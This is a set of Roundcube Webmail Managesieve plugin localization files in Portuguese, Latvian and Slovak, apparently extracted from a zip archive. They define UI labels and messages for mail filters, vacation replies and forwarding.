$labels['allparts'] = 'todas';
$labels['domain'] = 'domínio';
$labels['localpart'] = 'parte local';
$labels['user'] = 'usuário';
$labels['detail'] = 'detalhes';
$labels['comparator'] = 'comparador:';
$labels['default'] = 'padrão';
$labels['octet'] = 'estrito (octeto)';
$labels['asciicasemap'] = 'caso insensível (mapa de caracteres ascii)';
$labels['asciinumeric'] = 'numérico (ascii-numeric)';
$labels['index'] = 'índice:';
$labels['indexlast'] = 'retroceder';
$labels['spamtest'] = 'Nível de spam';
$labels['spamtestisgreaterthan'] = 'é maior que';
$labels['spamtestisgreaterthanequal'] = 'é maior ou igual a';
$labels['spamtestislessthan'] = 'é menor que';
$labels['spamtestislessthanequal'] = 'é menor ou igual a';
$labels['spamtestequals'] = 'é igual a';
$labels['spamtestnotequals'] = 'não é igual a';
$labels['spamtestisunknown'] = 'é desconhecido';
$labels['vacation'] = 'Fora do Escritório';
$labels['vacation.reply'] = 'Responder mensagem';
$labels['vacation.advanced'] = 'Opções avançadas';
$labels['vacation.from'] = 'Responder endereço do remetente';
$labels['vacation.subject'] = 'Assunto';
$labels['vacation.body'] = 'Conteúdo';
$labels['vacation.start'] = 'Tempo de início';
$labels['vacation.end'] = 'Tempo final';
$labels['vacation.status'] = 'Estado';
$labels['vacation.on'] = 'Ligado';
$labels['vacation.off'] = 'Desligado';
$labels['vacation.addresses'] = 'Meus endereços de e-mail';
$labels['vacation.interval'] = 'Intervalo de resposta';
$labels['vacation.after'] = 'Colocar a regra fora-de-escritório após';
$labels['vacation.saving'] = 'Salvando dados...';
$labels['vacation.action'] = 'Ações para mensagens recebidas';
$labels['vacation.keep'] = 'Manter';
$labels['vacation.discard'] = 'Descartar';
$labels['vacation.redirect'] = 'Redirecionar para';
$labels['vacation.copy'] = 'Enviar cópia para';
$labels['forward'] = 'Encaminhar';
$labels['forward.redirect'] = 'Redirecionar para';
$labels['forward.copy'] = 'Enviar cópia para';
$labels['forward.on'] = 'Ligado';
$labels['forward.off'] = 'Desligado';
$labels['forward.status'] = 'Status:';
$labels['forward.action'] = 'Para e-mails entrantes execute as seguintes ações:';
$labels['forward.saving'] = 'Salvando dados...';
$labels['filladdresses'] = 'Preencher com todos os meus endereços';
$labels['arialabelfiltersetactions'] = 'Ações do grupo de filtros';
$labels['arialabelfilteractions'] = 'Ações do filtro';
$labels['arialabelfilterform'] = 'Propriedades do filtro';
$labels['ariasummaryfilterslist'] = 'Lista dos filtros';
$labels['ariasummaryfiltersetslist'] = 'Lista de grupo de filtros';
$labels['filterstitle'] = 'Editar filtro dos e-mails recebidos';
$labels['vacationtitle'] = 'Editar regra de ausência';
$labels['forwardtitle'] = 'Editar regras de encaminhamento';
$labels['message'] = 'Mensagem';
$labels['duplicate'] = 'está duplicada';
$labels['notduplicate'] = 'não está duplicada';
$labels['duplicate.handle'] = 'tratar:';
$labels['duplicate.header'] = 'cabeçalho:';
$labels['duplicate.uniqueid'] = 'identificador:';
$labels['duplicate.seconds'] = 'tempo limite (segundos):';
$labels['duplicate.last'] = 'relativo à última execução';
$messages['filterunknownerror'] = 'Erro desconhecido de servidor';
$messages['filterconnerror'] = 'Não foi possível conectar ao servidor managesieve';
$messages['filterdeleteerror'] = 'Impossível excluir o filtro. Ocorreu um erro no servidor.';
$messages['filterdeleted'] = 'Filtro excluído com sucesso';
$messages['filtersaved'] = 'Filtro gravado com sucesso';
$messages['filtersaveerror'] = 'Impossível salvar o filtro. Ocorreu um erro no servidor.';
$messages['filterformerror'] = 'Formulário de filtro contém erros.';
$messages['filterdeleteconfirm'] = 'Deseja realmente excluir o filtro selecionado?';
$messages['ruledeleteconfirm'] = 'Deseja realmente excluir a regra selecionada?';
$messages['actiondeleteconfirm'] = 'Deseja realmente excluir a ação selecionada?';
$messages['forbiddenchars'] = 'Caracteres não permitidos no campo';
$messages['cannotbeempty'] = 'Campo não pode ficar em branco';
$messages['ruleexist'] = 'O filtro com o nome especificado já existe.';
$messages['setactivateerror'] = 'Incapaz de ativar o conjunto de filtro selecionado. Erro de servidor ocorrido.';
$messages['setdeactivateerror'] = 'Incapaz de desativar o conjunto de filtro selecionado. Erro de servidor ocorrido.';
$messages['setdeleteerror'] = 'Incapaz de remover o conjunto de filtro selecionado. Erro de servidor ocorrido.';
$messages['setactivated'] = 'Conjunto de filtro ativo com sucesso.';
$messages['setdeactivated'] = 'Conjunto de filtro desativo com sucesso.';
$messages['setdeleted'] = 'Conjunto de filtro removido com sucesso.';
$messages['setupdated'] = 'Conjunto de filtro atualizado com sucesso.';
$messages['setdeleteconfirm'] = 'Você tem certeza que você quer remover o conjunto de filtro selecionado?';
$messages['setcreateerror'] = 'Incapaz de criar o conjunto de filtro. Erro de servidor ocorrido.';
$messages['setcreated'] = 'Conjunto de filtro criado com sucesso.';
$messages['activateerror'] = 'Impossível habilitar o(s) filtro(s) selecionado(s). Ocorreu um erro no servidor.';
$messages['deactivateerror'] = 'Impossível desabilitar o(s) filtro(s) selecionado(s). Ocorreu um erro no servidor.';
$messages['deactivated'] = 'Filtro(s) habilitado(s) com sucesso.';
$messages['activated'] = 'Filtro(s) desabilitado(s) com sucesso.';
$messages['moved'] = 'Filtro movido com sucesso.';
$messages['moveerror'] = 'Impossível mover o filtro selecionado. Ocorreu um erro no servidor.';
$messages['nametoolong'] = 'Nome muito longo.';
$messages['namereserved'] = 'Nome reservado.';
$messages['setexist'] = 'Conjunto já existe.';
$messages['nodata'] = 'Pelo menos uma posição precisa ser selecionada!';
$messages['invaliddateformat'] = 'Data inválida';
$messages['saveerror'] = 'Impossível salvar dados. Ocorreu um erro no servidor.';
$messages['vacationsaved'] = 'Configurações "fora do escritório" salvas com sucesso.';
$messages['forwardsaved'] = 'Dados de encaminhamento salvo com sucesso.';
$messages['emptyvacationbody'] = 'Conteúdo da mensagem de férias necessário!';
$messages['duplicate.conflict.err'] = 'Ambos cabeçalho e identificador único não são permitidos.';
$messages['disabledaction'] = 'Ação não permitida.';
$messages['lastindexempty'] = 'Índice é requerido quando contagem do final';
$messages['noflagset'] = 'Ao menos uma flag deve ser selecionada.';
PKh�\�&��/�/*plugins/managesieve/localization/lv_LV.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['filters'] = 'Vēstuļu filtri';
$labels['managefilters'] = 'Pārvaldīt ienākošo vēstuļu filtrus';
$labels['filtername'] = 'Filtra nosaukums';
$labels['newfilter'] = 'Jauns filtrs';
$labels['filteradd'] = 'Pievienot filtru';
$labels['filterdel'] = 'Dzēst filtru';
$labels['rules'] = 'Noteikumi';
$labels['actions'] = 'Darbību saraksts';
$labels['scope'] = 'Kur meklēt';
$labels['moveup'] = 'Pārvietot augšup';
$labels['movedown'] = 'Pārvietot lejup';
$labels['filterallof'] = 'jāatbilst visiem sekojošajiem nosacījumiem';
$labels['filteranyof'] = 'jāatbilst jebkuram no sekojošajiem nosacījumiem';
$labels['filterany'] = 'visām vēstulēm';
$labels['filtercontains'] = 'satur';
$labels['filternotcontains'] = 'nesatur';
$labels['filteris'] = 'ir vienāds ar';
$labels['filterisnot'] = 'nav vienāds ar';
$labels['filterexists'] = 'eksistē';
$labels['filternotexists'] = 'neeksistē';
$labels['filtermatches'] = 'jāatbilst izteiksmei';
$labels['filternotmatches'] = 'neatbilst izteiksmei';
$labels['filterregex'] = 'jāatbilst regulārai izteiksmei';
$labels['filternotregex'] = 'neatbilst regulārai izteiksmei';
$labels['filterunder'] = 'zem';
$labels['filterover'] = 'virs';
$labels['mime'] = 'MIME:';
$labels['mimepart'] = 'MIME daļa:';
$labels['mime-message'] = 'vēstule';
$labels['mime-anychild'] = 'jebkurš';
$labels['mime-type'] = 'tips';
$labels['mime-subtype'] = 'apakštips';
$labels['mime-contenttype'] = 'satura-tips';
$labels['mime-param'] = 'parametrs';
$labels['addrule'] = 'Pievienot nosacījumu';
$labels['delrule'] = 'Dzēst nosacījumu';
$labels['messagemoveto'] = 'Pārvietot vēstuli uz';
$labels['messageredirect'] = 'Pāradresēt vēstuli uz';
$labels['messagecopyto'] = 'Kopēt vēstuli uz';
$labels['messagesendcopy'] = 'Pārsūtīt vēstules kopiju uz';
$labels['messagereply'] = 'Atbildēt ar vēstuli';
$labels['messagedelete'] = 'Dzēst vēstuli';
$labels['messagediscard'] = 'Dzēst vēstuli un atbildēt';
$labels['messagekeep'] = 'Paturēt ziņu Iesūtnē';
$labels['messagesrules'] = 'Ienākošajām vēstulēm:';
$labels['messagesactions'] = '...izpildīt sekojošās darbības:';
$labels['add'] = 'Pievienot';
$labels['del'] = 'Dzēst';
$labels['sender'] = 'Sūtītājs';
$labels['recipient'] = 'Saņēmējs';
$labels['vacationaddr'] = 'Manas e-pasta adreses:';
$labels['vacationdays'] = 'Cik bieži sūtī ziņojumus (dienās):';
$labels['vacationinterval'] = 'Cik bieži sūtīt vēstules:';
$labels['vacationreason'] = 'Atvaļinājuma paziņojuma teksts:';
$labels['vacationfrom'] = 'Atbildētāja e-pasta adrese:';
$labels['vacationsubject'] = 'Vēstules tēma:';
$labels['days'] = 'dienas';
$labels['seconds'] = 'sekundes';
$labels['rulestop'] = 'Apturēt nosacījumu pārbaudi';
$labels['enable'] = 'Ieslēgt/Izslēgt';
$labels['filtersets'] = 'Filtru kopas';
$labels['filterseteditraw'] = 'Rediģēt filtru kopu';
$labels['filterdef'] = 'Filtra apraksts';
$labels['active'] = 'aktīvs';
$labels['none'] = 'nav';
$labels['fromset'] = 'no kopas';
$labels['fromfile'] = 'no faila';
$labels['filterdisabled'] = 'Filtrs atslēgts';
$labels['countisgreaterthan'] = 'skaits ir lielāks kā';
$labels['countisgreaterthanequal'] = 'skaits ir vienāds vai lielāks kā';
$labels['countislessthan'] = 'skaits ir mazāks kā';
$labels['countislessthanequal'] = 'skaits ir vienāds vai mazāks kā';
$labels['countequals'] = 'skaits ir vienāds ar';
$labels['countnotequals'] = 'skaits nav vienāds ar';
$labels['valueisgreaterthan'] = 'vērtība ir lielāka kā';
$labels['valueisgreaterthanequal'] = 'vērtība ir vienāda vai lielāka kā';
$labels['valueislessthan'] = 'vērtība ir mazāka kā';
$labels['valueislessthanequal'] = 'vērtība ir vienāda vai mazāka kā';
$labels['valueequals'] = 'vērtība ir vienāda ar';
$labels['valuenotequals'] = 'vērtība nav vienāda ar';
$labels['setflags'] = 'Marķēt vēstuli';
$labels['addflags'] = 'Pievienot vēstulei marķierus';
$labels['removeflags'] = 'Noņemt vēstulei marķierus';
$labels['flagread'] = 'Lasītas';
$labels['flagdeleted'] = 'Dzēstas';
$labels['flaganswered'] = 'Atbildētas';
$labels['flagflagged'] = 'Marķētas';
$labels['flagdraft'] = 'Melnraksts';
$labels['setvariable'] = 'Iestatīt mainīgo';
$labels['setvarname'] = 'Mainīgā nosaukums:';
$labels['setvarvalue'] = 'Mainīgā vērtība:';
$labels['setvarmodifiers'] = 'Modifikatori:';
$labels['varlower'] = 'mazie burti';
$labels['varupper'] = 'lielie burti';
$labels['varlowerfirst'] = 'pirmais burts kā mazais burts';
$labels['varupperfirst'] = 'pirmais burts kā lielais burts';
$labels['varquotewildcard'] = '"citēt" speciālās rakstzīmes';
$labels['varlength'] = 'garums';
$labels['notify'] = 'Sūtīt paziņojumus';
$labels['notifytarget'] = 'Paziņojuma mērķis:';
$labels['notifymessage'] = 'Paziņojuma teksts (neobligāts):';
$labels['notifyoptions'] = 'Paziņojuma opcijas (neobligāts):';
$labels['notifyfrom'] = 'Paziņojuma sūtītājs (neobligāts):';
$labels['notifyimportance'] = 'Svarīgums:';
$labels['notifyimportancelow'] = 'zems';
$labels['notifyimportancenormal'] = 'parasts';
$labels['notifyimportancehigh'] = 'augsts';
$labels['notifymethodmailto'] = 'E-pasts';
$labels['notifymethodtel'] = 'Telefons';
$labels['notifymethodsms'] = 'SMS';
$labels['filtercreate'] = 'Izveidot filtru';
$labels['usedata'] = 'Filtrā izmantot sekojošus datus';
$labels['nextstep'] = 'Nākamais solis';
$labels['...'] = '...';
$labels['string'] = 'Teksts';
$labels['currdate'] = 'Pašreizējais datums';
$labels['datetest'] = 'Datums';
$labels['dateheader'] = 'galvene:';
$labels['year'] = 'gads';
$labels['month'] = 'mēnesis';
$labels['day'] = 'diena';
$labels['date'] = 'datums (gggg-mm-dd)';
$labels['julian'] = 'datums (Jūlija kalendārs)';
$labels['hour'] = 'stunda';
$labels['minute'] = 'minūte';
$labels['second'] = 'sekunde';
$labels['time'] = 'laiks (hh:mm:ss)';
$labels['iso8601'] = 'datums (ISO8601)';
$labels['std11'] = 'datums (RFC2822)';
$labels['zone'] = 'laikajosla';
$labels['weekday'] = 'nedēļas diena (0-6)';
$labels['advancedopts'] = 'Paplašinātie iestatījumi';
$labels['body'] = 'Pamatteksts';
$labels['address'] = 'adresāts';
$labels['envelope'] = 'aploksne';
$labels['modifier'] = 'modifikators:';
$labels['text'] = 'teksts';
$labels['undecoded'] = 'neatkodēts (neapstrādāti dati)';
$labels['contenttype'] = 'satura tips';
$labels['modtype'] = 'tips:';
$labels['allparts'] = 'viss';
$labels['domain'] = 'domēns';
$labels['localpart'] = 'lokālā daļa';
$labels['user'] = 'lietotājs';
$labels['detail'] = 'detaļas';
$labels['comparator'] = 'salīdzinātājs';
$labels['default'] = 'noklusētā vērtība';
$labels['octet'] = 'precīzs (oktets)';
$labels['asciicasemap'] = 'reģistrnejutīgs (ascii tabula)';
$labels['asciinumeric'] = 'skaitļu (ascii skaitļu)';
$labels['index'] = 'indekss:';
$labels['indexlast'] = 'atpakaļ';
$labels['spamtestequals'] = 'ir vienāds ar';
$labels['spamtestnotequals'] = 'nav vienāds ar';
$labels['vacation.reply'] = 'Atbildes e-pasts';
$labels['vacation.advanced'] = 'Paplašinātie iestatījumi';
$labels['vacation.from'] = 'Atbildes sūtītāja e-pasta adrese';
$labels['vacation.subject'] = 'Tēma';
$labels['vacation.body'] = 'Saturs';
$labels['vacation.status'] = 'Statuss';
$labels['vacation.on'] = 'Ieslēgts';
$labels['vacation.off'] = 'Izslēgts';
$labels['vacation.addresses'] = 'Manas e-pasta adreses';
$labels['vacation.interval'] = 'Atbildēšanas intervāls';
$labels['vacation.saving'] = 'Dati tiek saglabāti...';
$labels['vacation.action'] = 'Darbības, kuras jāveic, kad tiek atsūtīta jauna vēstule';
$labels['vacation.keep'] = 'Saglabāt';
$labels['vacation.discard'] = 'Nesaglabāt';
$labels['vacation.redirect'] = 'Pārsūtīt uz';
$labels['vacation.copy'] = 'Sūtīt kopiju uz';
$labels['forward'] = 'Pārsūtīšana';
$labels['forward.redirect'] = 'Pārsūtīt uz';
$labels['forward.copy'] = 'Sūtīt kopiju uz';
$labels['forward.on'] = 'Ieslēgts';
$labels['forward.off'] = 'Izslēgts';
$labels['forward.status'] = 'Statuss:';
$labels['forward.action'] = 'Ienākot e-pastam, izpildīt sekojošo darbību:';
$labels['forward.saving'] = 'Dati tiek saglabāti...';
$labels['filladdresses'] = 'Aizpildīt ar visām manām e-pasta adresēm';
$labels['arialabelfiltersetactions'] = 'Filtra kopas darbības';
$labels['arialabelfilteractions'] = 'Filtra darbības';
$labels['arialabelfilterform'] = 'Filtra iestatījumi';
$labels['ariasummaryfilterslist'] = 'Filtru saraksts';
$labels['ariasummaryfiltersetslist'] = 'Filtru kopu saraksts';
$labels['filterstitle'] = 'Rediģēt ienākošo e-pastu filtrus';
$labels['vacationtitle'] = 'Rediģēt "neesmu ofisā" nosacījumu';
$labels['forwardtitle'] = 'Rediģēt e-pastu pārsūtīšanas noteikumus';
$labels['message'] = 'Vēstule';
$labels['duplicate'] = 'ir dublikāts';
$labels['notduplicate'] = 'nav dublikāts';
$labels['duplicate.handle'] = 'atslēga:';
$labels['duplicate.header'] = 'galvene:';
$labels['duplicate.uniqueid'] = 'identifikators:';
$labels['duplicate.seconds'] = 'pārtraukums (sekundes):';
$labels['duplicate.last'] = 'relatīvs pēdējai izpildei';
$messages['filterunknownerror'] = 'Nezināma servera kļūda.';
$messages['filterconnerror'] = 'Neizdevās pieslēgties ManageSieve serverim.';
$messages['filterdeleteerror'] = 'Neizdevās izdzēst filtru - atgadījās servera iekšējā kļūda.';
$messages['filterdeleted'] = 'Filtrs veiksmīgi izdzēsts.';
$messages['filtersaved'] = 'Filtrs veiksmīgi saglabāts.';
$messages['filtersaveerror'] = 'Neizdevās saglabāt filtru - atgadījās servera iekšējā kļūda.';
$messages['filterformerror'] = 'Filtra forma ir kļūdaina.';
$messages['filterdeleteconfirm'] = 'Vai Jūs tiešām vēlaties dzēst atzīmēto filtru?';
$messages['ruledeleteconfirm'] = 'Vai Jūs tiešām vēlaties dzēst atzīmēto nosacījumu?';
$messages['actiondeleteconfirm'] = 'Vai Jūs tiešām vēlaties dzēst atzīmēto darbību?';
$messages['forbiddenchars'] = 'Lauks satur aizliegtus simbolus.';
$messages['cannotbeempty'] = 'Lauks nedrīkst būt tukšs.';
$messages['ruleexist'] = 'Filtrs ar tādu nosaukumu jau pastāv.';
$messages['activateerror'] = 'Nav iespējams ieslēgt izvēlēto(s) filtru(s) - atgadījās servera iekšējā kļūda.';
$messages['deactivateerror'] = 'Nav iespējams atslēgt izvēlēto(s) filtru(s) - atgadījās servera iekšējā kļūda.';
$messages['deactivated'] = 'Filtrs(i) veiksmīgi atslēgts(i).';
$messages['activated'] = 'Filtrs(i) veiksmīgi ieslēgts(i).';
$messages['moved'] = 'Filtrs veiksmīgi pārvietots.';
$messages['moveerror'] = 'Nav iespējams pārvietot izvēlēto filtru - atgadījās servera iekšējā kļūda.';
$messages['nametoolong'] = 'Neizdevās izveidot filtru kopu. Pārāk garš kopas nosaukums.';
$messages['namereserved'] = 'Rezervētais nosaukums.';
$messages['setexist'] = 'Kopa jau eksistē.';
$messages['nodata'] = 'Ir jābūt atzīmētai vismaz vienai pozīcijai!';
$messages['invaliddateformat'] = 'Nederīgs datums vai datuma formāts';
$messages['saveerror'] = 'Nav iespējams saglabāt datus. Servera kļūda.';
$messages['forwardsaved'] = 'Pārsūtīšanas dati veiksmīgi saglabāti.';
$messages['emptyvacationbody'] = 'Brīvdienu e-pastam obligāti jānorāda vēstules teksts!';
$messages['duplicate.conflict.err'] = 'Gan galvenes, gan unikālais identifikators nav atļauts.';
$messages['disabledaction'] = 'Darbība nav atļauta!';
PKh�\�r���9�9*plugins/managesieve/localization/sk_SK.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Managesieve plugin         |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-managesieve/
*/


$labels['filters'] = 'Filtre';
$labels['managefilters'] = 'Správa filtrov prichádzajúcej pošty';
$labels['filtername'] = 'Názov filtra';
$labels['newfilter'] = 'Nový filter';
$labels['filteradd'] = 'Pridať filter';
$labels['filterdel'] = 'Vymazať filter';
$labels['rules'] = 'Pravidlá';
$labels['actions'] = 'Akcie';
$labels['scope'] = 'Rozsah';
$labels['moveup'] = 'Presunúť nahor';
$labels['movedown'] = 'Presunúť nadol';
$labels['filterallof'] = 'vyhovujúca všetkým z nasledujúcich pravidiel';
$labels['filteranyof'] = 'vyhovujúca ľubovoľnému z nasledujúcich pravidiel';
$labels['filterany'] = 'všetky správy';
$labels['filtercontains'] = 'obsahuje';
$labels['filternotcontains'] = 'neobsahuje';
$labels['filteris'] = 'sa rovná';
$labels['filterisnot'] = 'sa nerovná';
$labels['filterexists'] = 'existuje';
$labels['filternotexists'] = 'neexistuje';
$labels['filtermatches'] = 'vyhovuje výrazu';
$labels['filternotmatches'] = 'nevyhovuje výrazu';
$labels['filterregex'] = 'vyhovuje regulárnemu výrazu';
$labels['filternotregex'] = 'nevyhovuje regulárnemu výrazu';
$labels['filterunder'] = 'pod';
$labels['filterover'] = 'nad';
$labels['mime'] = 'MIME:';
$labels['mimepart'] = 'Časť MIME:';
$labels['mime-message'] = 'správa';
$labels['mime-anychild'] = 'akékoľvek';
$labels['mime-type'] = 'typ';
$labels['mime-subtype'] = 'pod-typ';
$labels['mime-contenttype'] = 'typ obsahu';
$labels['mime-param'] = 'parameter';
$labels['addrule'] = 'Pridať pravidlo';
$labels['delrule'] = 'Vymazať pravidlo';
$labels['messagemoveto'] = 'Presunúť správu do';
$labels['messageredirect'] = 'Presmerovať správu na';
$labels['messagecopyto'] = 'Kopírovať správu do';
$labels['messagesendcopy'] = 'Poslať kópiu správy na adresu';
$labels['messagereply'] = 'Odpovedať správou';
$labels['messagedelete'] = 'Vymazať správu';
$labels['messagediscard'] = 'Vymazať a poslať správu na';
$labels['messagekeep'] = 'Ponechať správu v Doručenej pošte';
$labels['messagesrules'] = 'Pre prichádzajúcu poštu:';
$labels['messagesactions'] = '...vykonať tieto akcie:';
$labels['add'] = 'Pridať';
$labels['del'] = 'Vymazať';
$labels['sender'] = 'Odosielateľ';
$labels['recipient'] = 'Príjemca';
$labels['vacationaddr'] = 'Moje e-mailové adresy:';
$labels['vacationdays'] = 'Ako často odosielať správy (v dňoch):';
$labels['vacationinterval'] = 'Ako často odosielať správy:';
$labels['vacationreason'] = 'Telo správy (dôvod neprítomnosti):';
$labels['vacationfrom'] = 'Adresa odosielateľa pre odpoveď:';
$labels['vacationsubject'] = 'Predmet správy:';
$labels['days'] = 'dní';
$labels['seconds'] = 'sekúnd';
$labels['rulestop'] = 'Koniec pravidiel';
$labels['enable'] = 'Zapnúť/vypnúť';
$labels['filterset'] = 'Súprava filtrov';
$labels['filtersets'] = 'Súpravy filtrov';
$labels['filtersetadd'] = 'Pridať súpravu filtrov';
$labels['filtersetdel'] = 'Vymazať súpravu filtrov';
$labels['filtersetact'] = 'Aktivovať aktuálnu súpravu filtrov';
$labels['filtersetdeact'] = 'Deaktivovať aktuálnu súpravu filtrov';
$labels['filterseteditraw'] = 'Upraviť súpravu filtrov';
$labels['filtersetswitch'] = 'Zapnúť/vypnúť súpravu filtrov';
$labels['filterdef'] = 'Definícia filtra';
$labels['filtersetname'] = 'Názov súpravy filtrov';
$labels['newfilterset'] = 'Nová súprava filtrov';
$labels['active'] = 'aktívna';
$labels['none'] = 'žiadne';
$labels['fromset'] = 'zo súpravy';
$labels['fromfile'] = 'zo súboru';
$labels['filterdisabled'] = 'Filter vypnutý';
$labels['filterenabled'] = 'Filter zapnutý';
$labels['countisgreaterthan'] = 'počet je väčší ako';
$labels['countisgreaterthanequal'] = 'počet je väčší alebo rovný ako';
$labels['countislessthan'] = 'počet je menší ako';
$labels['countislessthanequal'] = 'počet je menší alebo rovný ako';
$labels['countequals'] = 'počet je rovný';
$labels['countnotequals'] = 'počet sa nerovná';
$labels['valueisgreaterthan'] = 'hodnota je väčšia ako';
$labels['valueisgreaterthanequal'] = 'hodnota je väčšia alebo rovná ako';
$labels['valueislessthan'] = 'hodnota je menšia ako';
$labels['valueislessthanequal'] = 'hodnota je menšia alebo rovná ako';
$labels['valueequals'] = 'hodnota je rovná ako';
$labels['valuenotequals'] = 'hodnota sa nerovná';
$labels['setflags'] = 'Nastaviť príznaky správy';
$labels['addflags'] = 'Pridať príznaky správy';
$labels['removeflags'] = 'Odstrániť príznaky zo správy';
$labels['flagread'] = 'Prečítané';
$labels['flagdeleted'] = 'Vymazané';
$labels['flaganswered'] = 'Odpovedané';
$labels['flagflagged'] = 'Označené príznakom';
$labels['flagdraft'] = 'Koncept';
$labels['addheader'] = 'Pridať hlavičku do správy';
$labels['deleteheader'] = 'Odstrániť hlavičku zo správy';
$labels['headername'] = 'Názov hlavičky';
$labels['headervalue'] = 'Hodnota hlavičky';
$labels['headerpos'] = 'Pozícia hlavičky';
$labels['headeratstart'] = 'na začiatku';
$labels['headeratend'] = 'na konci';
$labels['headeroccurrence'] = 'Výskyt/pozícia hlavičky';
$labels['headerfromstart'] = 'od začiatku';
$labels['headerfromend'] = 'od konca';
$labels['headerpatterns'] = 'Vzory pre hodnotu hlavičky';
$labels['headermatchtype'] = 'typ zhody:';
$labels['setvariable'] = 'Nastaviť premennú';
$labels['setvarname'] = 'Názov premennej:';
$labels['setvarvalue'] = 'Hodnota premennej:';
$labels['setvarmodifiers'] = 'Modifikátory:';
$labels['varlower'] = 'malé písmená';
$labels['varupper'] = 'VEĽKÉ PÍSMENÁ';
$labels['varlowerfirst'] = 'prvé písmeno malé';
$labels['varupperfirst'] = 'prvé písmeno veľké';
$labels['varquotewildcard'] = 'k špeciálnym znakom pridať úvodzovky';
$labels['varlength'] = 'dĺžka';
$labels['varencodeurl'] = 'percentá - kódovane (pre adresy URL)';
$labels['notify'] = 'Odoslať oznámenie';
$labels['notifytarget'] = 'Cieľ notifikácie:';
$labels['notifymessage'] = 'Notifikačná správa (voliteľne):';
$labels['notifyoptions'] = 'Nastavenia notifikácie (voliteľné):';
$labels['notifyfrom'] = 'Odosielateľ notifikácie (voliteľne):';
$labels['notifyimportance'] = 'Priorita:';
$labels['notifyimportancelow'] = 'nízka';
$labels['notifyimportancenormal'] = 'normálna';
$labels['notifyimportancehigh'] = 'vysoká';
$labels['notifymethodmailto'] = 'E-mail';
$labels['notifymethodtel'] = 'Telefón';
$labels['notifymethodsms'] = 'SMS';
$labels['filtercreate'] = 'Vytvoriť filter';
$labels['usedata'] = 'Použiť tieto údaje vo filtri:';
$labels['nextstep'] = 'Ďalší krok';
$labels['...'] = '...';
$labels['string'] = 'Reťazec';
$labels['currdate'] = 'Aktuálny dátum';
$labels['datetest'] = 'Dátum';
$labels['dateheader'] = 'záhlavie:';
$labels['year'] = 'rok';
$labels['month'] = 'mesiac';
$labels['day'] = 'deň';
$labels['date'] = 'dátum (rrrr-mm-dd)';
$labels['julian'] = 'dátum (podľa Juliánskeho kalendára)';
$labels['hour'] = 'hod.';
$labels['minute'] = 'min.';
$labels['second'] = 'sek.';
$labels['time'] = 'čas (hh:mm:ss)';
$labels['iso8601'] = 'dátum (ISO8601)';
$labels['std11'] = 'dátum (RFC2822)';
$labels['zone'] = 'časové pásmo';
$labels['weekday'] = 'deň v týždni (0-6)';
$labels['advancedopts'] = 'Rozšírené nastavenia';
$labels['body'] = 'Telo';
$labels['address'] = 'adresa';
$labels['envelope'] = 'obálka';
$labels['modifier'] = 'modifikátor:';
$labels['text'] = 'text';
$labels['undecoded'] = 'nedekódované (raw)';
$labels['contenttype'] = 'typ obsahu';
$labels['modtype'] = 'typ:';
$labels['allparts'] = 'všetko';
$labels['domain'] = 'doména';
$labels['localpart'] = 'lokálna časť';
$labels['user'] = 'používateľ';
$labels['detail'] = 'detail';
$labels['comparator'] = 'porovnávač:';
$labels['default'] = 'predvolené';
$labels['octet'] = 'striktný (osmičkový)';
$labels['asciicasemap'] = 'nerozlišuje veľké a malé písmená (ascii tabuľka znakov)';
$labels['asciinumeric'] = 'numerické (ascii čísla)';
$labels['index'] = 'index:';
$labels['indexlast'] = 'dozadu';
$labels['spamtest'] = 'Úroveň pre nevyžiadanú poštu';
$labels['spamtestisgreaterthan'] = 'je viac ako';
$labels['spamtestisgreaterthanequal'] = 'je viac alebo sa rovná ako';
$labels['spamtestislessthan'] = 'je menej ako';
$labels['spamtestislessthanequal'] = 'je menej alebo sa rovná ako';
$labels['spamtestequals'] = 'sa rovná';
$labels['spamtestnotequals'] = 'sa nerovná';
$labels['spamtestisunknown'] = 'nie je známa';
$labels['vacation'] = 'Mimo kancelárie';
$labels['vacation.reply'] = 'Odpoveď na správu';
$labels['vacation.advanced'] = 'Pokročilé nastavenia';
$labels['vacation.from'] = 'Adresa odosielateľa pre odpoveď';
$labels['vacation.subject'] = 'Predmet';
$labels['vacation.body'] = 'Telo';
$labels['vacation.start'] = 'Čas začiatku';
$labels['vacation.end'] = 'Čas ukončenia';
$labels['vacation.status'] = 'Stav';
$labels['vacation.on'] = 'Zap.';
$labels['vacation.off'] = 'Vyp.';
$labels['vacation.addresses'] = 'Moje e-mailové adresy';
$labels['vacation.interval'] = 'Interval odpovedania';
$labels['vacation.after'] = 'Aplikovať pravidlo "mimo kancelárie" po';
$labels['vacation.saving'] = 'Ukladanie údajov...';
$labels['vacation.action'] = 'Akcia pre prichádzajúcu správu';
$labels['vacation.keep'] = 'Zachovať';
$labels['vacation.discard'] = 'Vyhodiť do koša';
$labels['vacation.redirect'] = 'Presmerovať na';
$labels['vacation.copy'] = 'Poslať kópiu na';
$labels['forward'] = 'Preposlanie';
$labels['forward.redirect'] = 'Presmerovať na';
$labels['forward.copy'] = 'Poslať kópiu na';
$labels['forward.on'] = 'Zap.';
$labels['forward.off'] = 'Vyp.';
$labels['forward.status'] = 'Stav:';
$labels['forward.action'] = 'Pre prichádzajúce e-maily vykonať nasledujúcu akciu:';
$labels['forward.saving'] = 'Ukladanie údajov...';
$labels['filladdresses'] = 'Vyplniť všetko mojimi adresami';
$labels['arialabelfiltersetactions'] = 'Akcie zo súpravy filtrov';
$labels['arialabelfilteractions'] = 'Akcie filtra';
$labels['arialabelfilterform'] = 'Nastavenia filtra';
$labels['ariasummaryfilterslist'] = 'Zoznam filtrov';
$labels['ariasummaryfiltersetslist'] = 'Zoznam súprav s filtrami';
$labels['filterstitle'] = 'Upraviť filtre prichádzajúcich e-mailov';
$labels['vacationtitle'] = 'Upraviť pravidlo pre čas mimo kancelárie';
